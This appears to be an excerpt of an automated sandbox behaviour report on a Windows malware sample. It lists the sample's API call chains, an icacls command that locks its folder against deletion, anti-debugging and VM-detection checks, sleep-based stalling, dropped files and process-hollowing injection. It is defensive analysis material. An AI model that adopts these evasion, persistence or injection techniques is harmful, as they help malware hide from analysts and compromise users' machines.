Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe

Code function: 3_2_00481920 GetVersionExA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,CloseHandle,FreeLibrary,GlobalMemoryStatus,GetCurrentProcessId,

3_2_00481920

Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot	Jump to behavior
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe

Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9" /deny *S-1-1-0:(OI)(CI)(DE,DC)

Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found stalling execution ending in API Sleep call

Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe

Stalling execution: Execution stalls by calling Sleep

graph_9-44436

Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe

Code function: 0_2_006A471C rdtsc

0_2_006A471C

Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe

Code function: 9_2_00481920 GetVersionExA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,NetStatisticsGet,NetStatisticsGet,FreeLibrary,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateToolhelp32Snapshot,GetTickCount,Heap32ListFirst,Heap32First,Heap32Next,GetTickCount,Heap32ListNext,GetTickCount,GetTickCount,GetTickCount,Process32First,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,CloseHandle,FreeLibrary,GlobalMemoryStatus,GetCurrentProcessId,

9_2_00481920

Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: _malloc,_malloc,_wprintf,_free,GetAdaptersInfo,_free,_malloc,GetAdaptersInfo,_sprintf,_wprintf,_wprintf,_free,		3_2_0040E670
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: _malloc,_malloc,_wprintf,_free,GetAdaptersInfo,_free,_malloc,GetAdaptersInfo,_sprintf,_wprintf,_wprintf,_free,		9_2_0040E670

Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe

Thread delayed: delay time: 900000

Jump to behavior

Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\wctFE34.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Dropped PE file which has not been started: C:\Users\user\Local Settings\Temp\wctFE34.tmp.wdlo (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Dropped PE file which has not been started: C:\Users\user\Local Settings\Temp\chrome.exe.wdlo (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Dropped PE file which has not been started: C:\Program Files\7-Zip\Uninstall.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\chrome.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\tmpD027.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Dropped PE file which has not been started: C:\Users\user\Local Settings\Temp\tmpD027.tmp.wdlo (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_1-1048

Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess

graph_3-45022

Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe TID: 6436	Thread sleep time: -900000s >= -30000s			Jump to behavior
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe TID: 7336	Thread sleep count: 179 > 30

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe

Code function: 1_2_00B51718 GetSystemTimeAsFileTime followed by cmp: cmp dword ptr [ebp+08h], 02h and CTI: jne 00B51754h

1_2_00B51718

Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Code function: 1_2_00B529E2 memset,wsprintfA,memset,lstrlen,lstrcpyn,strrchr,lstrcmpiA,lstrlen,memset,memset,FindFirstFileA,memset,FindNextFileA,lstrcmpiA,FindNextFileA,FindClose,	1_2_00B529E2
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 3_2_00410160 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,FindNextFileW,FindClose,	3_2_00410160
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 3_2_0040F730 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,_wcsstr,_wcsstr,FindNextFileW,FindClose,	3_2_0040F730
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 3_2_0040FB98 PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,FindNextFileW,FindClose,	3_2_0040FB98
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 9_2_0040F730 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,_wcsstr,_wcsstr,FindNextFileW,FindClose,	9_2_0040F730
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 9_2_00410160 Sleep,PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,FindNextFileW,FindClose,	9_2_00410160
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 9_2_0040FB98 PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,FindNextFileW,FindClose,	9_2_0040FB98

Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe

Code function: 1_2_00B52B8C memset,GetLogicalDriveStringsA,CreateThread,GetDriveTypeA,CreateThread,lstrlen,WaitForMultipleObjects,CreateThread,

1_2_00B52B8C

Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe

Thread delayed: delay time: 900000

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\UIThemes\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\	Jump to behavior

Source: VOsoyD.exe, 00000001.00000002.2233686984.0000000000EFB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWU
Source: VOsoyD.exe, 00000012.00000003.2395152536.0000000001300000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}P1V
Source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 0000000F.00000003.2175593327.0000000000699000.00000004.00000020.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 0000000F.00000002.2176555153.0000000000699000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW;2
Source: VOsoyD.exe, 00000001.00000003.2031725129.0000000000F24000.00000004.00000020.00020000.00000000.sdmp, VOsoyD.exe, 00000001.00000002.2233686984.0000000000F1E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWXQ
Source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000013.00000002.2265807645.00000000005E8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: VOsoyD.exe, 00000001.00000002.2233686984.0000000000F7E000.00000004.00000020.00020000.00000000.sdmp, VOsoyD.exe, 00000001.00000003.2030924080.0000000000F7E000.00000004.00000020.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000003.00000002.2060945347.0000000000698000.00000004.00000020.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000003.00000002.2060945347.00000000006F7000.00000004.00000020.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000002.3275143427.0000000000628000.00000004.00000020.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000003.2089856546.00000000006B5000.00000004.00000020.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000002.3275143427.00000000006B5000.00000004.00000020.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 0000000C.00000003.2108447651.00000000007F6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: VOsoyD.exe, 00000012.00000003.2395152536.0000000001300000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: user-PC-20231004-1550.log.9.dr	Binary or memory string: 10/04/2023 15:50:56.369OFFICECL (0xe04)0x250Telemetry EventbiyhqMediumSendEvent {"EventName": "Office.System.SystemHealthMetadataDeviceConsolidated", "Flags": 33777031581908737, "InternalSequenceNumber": 551, "Time": "2023-10-04T13:50:46Z", "Rule": "120600.4", "AriaTenantToken": "cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521", "Contract": "Office.Legacy.Metadata", "Data.ProcTypeText": "x64", "Data.ProcessorCount": 2, "Data.NumProcShareSingleCore": 1, "Data.NumProcShareSingleCache": 1, "Data.NumProcPhysCores": 2, "Data.ProcSpeedMHz": 2000, "Data.IsLaptop": false, "Data.IsTablet": false, "Data.RamMB": 4096, "Data.PowerPlatformRole": 1, "Data.SysVolSizeMB": 50000, "Data.DeviceManufacturer": "VMWare, Inc.", "Data.DeviceModel": "VMware20,1", "Data.DigitizerInfo": 0, "Data.SusClientId": "097C77FB-5D5D-4868-860B-09F4E5B50A53", "Data.WindowsSqmMachineId": "92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A", "Data.ComputerSystemProductUuidHash": "LFm9Ltrk4S277wbAA8Obddw+Rm4=", "Data.DeviceProcessorModel": "Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz", "Data.HasSpectreFix": true, "Data.BootDiskType": "SSD"}

Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	API call chain: ExitProcess graph end node	graph_0-46764
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	API call chain: ExitProcess graph end node	graph_0-46766
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	API call chain: ExitProcess graph end node	graph_1-1023
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	API call chain: ExitProcess graph end node	graph_3-45024

Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe

Code function: 0_2_006A471C rdtsc

0_2_006A471C

Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe

Code function: 0_2_00410400 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

0_2_00410400

Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe

Code function: 0_2_004096F5 _putc,__wrename,GetBinaryTypeW,GetConsoleAliasExesA,BuildCommDCBAndTimeoutsW,GetNumberFormatA,GetBinaryTypeW,GetConsoleAliasExesA,BuildCommDCBAndTimeoutsW,GetNumberFormatA,WriteConsoleOutputCharacterA,FindNextVolumeMountPointA,FillConsoleOutputCharacterW,GetNamedPipeHandleStateA,SetProcessShutdownParameters,GetConsoleAliasesLengthW,GetFileSizeEx,OpenFileMappingW,OpenWaitableTimerW,CharUpperW,OpenMutexA,WriteProfileStringA,CharUpperW,GetLastError,OpenMutexA,WriteProfileStringA,EnumSystemLocalesA,GetSystemTimeAdjustment,MoveFileWithProgressW,GetCommState,EnumSystemLocalesA,GetSystemTimeAdjustment,DebugBreak,MoveFileWithProgressW,GetCommState,CreateMailslotW,WriteConsoleInputA,GetConsoleAliasExesLengthA,SetComputerNameA,GlobalGetAtomNameW,AllocConsole,CreateIoCompletionPort,GetConsoleCP,FreeEnvironmentStringsA,LockFile,SetProcessPriorityBoost,SetProcessPriorityBoost,ConvertFiberToThread,QueryDepthSList,DeleteCriticalSection,FreeEnvironmentStringsA,ConvertFiberToThread,QueryDepthSList,DeleteCriticalSection,GetThreadContext,OpenMutexW,GetThreadContext,OpenMutexW,WriteConsoleW,DebugBreak,LoadLibraryA,lstrlenA,EnumResourceTypesW,FlushConsoleInputBuffer,SetThreadAffinityMask,SetEvent,OutputDebugStringW,ReadConsoleInputW,GetPrivateProfileIntW,CreateActCtxA,GetPrivateProfileStringW,GetOEMCP,CopyFileA,InterlockedExchangeAdd,WaitForDebugEvent,SetConsoleScreenBufferSize,GetConsoleAliasExesLengthA,

0_2_004096F5

Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe

9_2_00481920

Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe

0_2_00416C00

Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 0_2_004ED044 mov eax, dword ptr fs:[00000030h]	0_2_004ED044
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 0_2_006A30A3 push dword ptr fs:[00000030h]	0_2_006A30A3
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 0_2_022D0042 push dword ptr fs:[00000030h]	0_2_022D0042
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 5_2_0225D0A3 push dword ptr fs:[00000030h]	5_2_0225D0A3
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 5_2_022F0042 push dword ptr fs:[00000030h]	5_2_022F0042

Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe

Code function: 3_2_004278D5 GetProcessHeap,

3_2_004278D5

Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 0_2_00410400 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00410400
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 0_2_00414DC0 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00414DC0
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 0_2_00411290 SetUnhandledExceptionFilter,	0_2_00411290
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 0_2_00418360 _raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00418360
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 3_2_004329EC SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_004329EC
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 3_2_004329BB SetUnhandledExceptionFilter,	3_2_004329BB
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 9_2_004329EC SetUnhandledExceptionFilter,UnhandledExceptionFilter,	9_2_004329EC
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 9_2_004329BB SetUnhandledExceptionFilter,	9_2_004329BB

HIPS / PFW / Operating System Protection Evasion

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe

Code function: 0_2_022D0110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,ExitProcess,

0_2_022D0110

Injects a PE file into a foreign processes

